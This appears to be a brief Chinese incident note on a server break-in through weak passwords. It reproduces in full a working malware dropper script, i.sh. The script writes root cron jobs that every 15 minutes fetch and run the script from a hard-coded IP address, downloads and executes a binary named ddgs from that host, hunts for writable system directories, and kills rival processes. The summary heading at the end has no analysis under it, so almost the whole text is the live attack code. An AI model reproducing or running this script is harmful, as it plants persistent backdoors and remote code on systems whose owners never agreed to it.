利用系統若口令，插入任務計劃，生成后門

wget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O mlfobce

http://119.9.106.27:8000/i.sh

-----------------------------------------------------------i.sh-----------------------------------------------------------------

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root

echo "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "" > /var/spool/cron/crontabs/root

echo "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

cd /tmp

touch /usr/local/bin/writeable && cd /usr/local/bin/

touch /usr/libexec/writeable && cd /usr/libexec/

touch /usr/bin/writeable && cd /usr/bin/

rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

ps auxf | grep -v grep | grep mlfobce || rm -rf mlfobce

if [ ! -f "mlfobce" ]; then

wget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O mlfobce

fi

chmod +x mlfobce

$(pwd)/mlfobce || /usr/bin/mlfobce || /usr/libexec/mlfobce || /usr/local/bin/mlfobce || mlfobce || ./mlfobce || /tmp/mlfobce

ps auxf | grep -v grep | grep mlfobcb | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep mlfobcd | awk '{print $2}' | xargs kill -9

--------------------------------------------------------------------------------------------

總結

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